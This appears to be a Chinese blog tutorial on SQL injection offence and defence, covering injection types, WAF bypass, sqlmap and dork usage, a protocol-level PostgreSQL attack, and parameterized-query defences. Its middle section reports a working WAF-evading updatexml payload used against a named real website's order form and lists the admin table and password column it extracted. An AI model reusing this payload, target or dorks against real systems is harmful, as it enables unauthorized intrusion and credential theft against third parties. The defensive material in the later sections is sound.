SQL 注入攻防进阶

一、先把 SQL 注入说清楚:它到底“注”进了什么
SQL 注入的本质不是“输入里有单引号”,而是“输入被当成了 SQL 语句的一部分执行”。一旦开发把外部输入拼进查询字符串里,攻击者就有机会改变查询语义:多查、少查、报错泄露、甚至写入数据

常见形态可以按“是否有回显”来理解:
1)有回显:联合查询 / 报错注入更高效
2)无回显:布尔盲注 / 时间盲注更常见
3)位置不同:GET 参数、POST 表单、JSON 体、Header(如 Cookie / X-Forwarded-For)都可能成为注入点

image

 

二、WAF 不是银弹:绕过的核心思路是什么
很多 WAF 的第一道防线仍是“关键词+正则”。攻击者的目标也很明确:让数据库能看懂,让 WAF 看不懂。

WAF 配置常见坑与改法:

image

 

漏洞信息
URL:http://www.cqzszy.com.cn/order_sell.php

注入点:POST参数bs

WAF特征:拦截select(.*)from正则模式

成功Payload
python

junk = "a" * 1000000
payload = f"""1' and updatexml(1,concat(0x7e,
(select/*{junk}*/table_name
from/*{junk}*/information_schema.tables limit 1),
0x7e),1) and '1aaaaa'='1"""

获取的数据
表名               列名                数据 
zszy_admin   aname           admin
zszy_admin   apassword (加密密码)

三、自动化工具使用技巧

3.1 SQLMap高级用法
# 读取请求文件进行注入
sqlmap -r request.txt
# 指定注入点
sqlmap -u "http://example.com?id=1" -p id
# 使用代理和延迟
sqlmap -u "http://example.com" --proxy=http://127.0.0.1:8080 --delay=1
3.2 信息收集工具
Dirsearch/Dirmap:目录扫描

AWVS:自动化漏洞扫描

Google Hacking:

google

site:example.com intext:"管理后台"
site:example.com intitle:"登录"
四、新型SQL注入技术:协议层攻击
4.1 协议层注入原理
基于DEF CON 32的最新研究成果,攻击者可以在数据库二进制协议层面实施注入:

PostgreSQL协议漏洞
// 漏洞代码示例
func (src *Bind) Encode(dst []byte) []byte {
dst = append(dst, 'B')
sp := len(dst)
// ...
pgio.SetInt32(dst[sp:], int32(len(dst[sp:]))) // 整数截断漏洞
return dst
}
攻击向量
     消息大小溢出:发送2³² + 4字节的数据

     NOP雪橇技术:使用小型消息覆盖协议

      蹦床技术:利用长度字节作为有效类型

4.3 现实影响
容器注册表:CNCF项目的默认配置存在漏洞

企业应用:VMware Tanzu Kubernetes等

无认证要求:部分配置无需认证即可利用

 

5 开发层面

# 安全的参数化查询示例
import pymysql

connection = pymysql.connect(host='localhost',
                             user='user',
                             password='pass',
                             database='db')
cursor = connection.cursor()

# 不安全的方式
# cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")

# 安全的方式(参数化查询)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))

 

5.2 WAF配置建议

image

 

六、最重要的防守:把“输入”从 SQL 里剥离出去
防 SQL 注入最硬的一条:参数化查询/预编译。任何“手写转义”“黑名单过滤”“替换关键字”,都只是补丁,不是根治。

Python(pymysql)参数化示例:

 

cursor.execute("SELECT * FROM users WHERE id=%s", (user_input,))

除此之外,再加三条真正有用的工程策略:

  • 最小权限:业务账号不要有 DROP/FILE 等高危权限

  • 统一错误处理:生产环境不要把 DB 错误回显给用户

  • 可观测性:记录关键访问路径、异常参数模式、WAF 告警闭环

 

语言安全特性对比

image

 

posted @ 2026-01-29 21:25  青鸢..i  阅读(3)  评论(0)    收藏  举报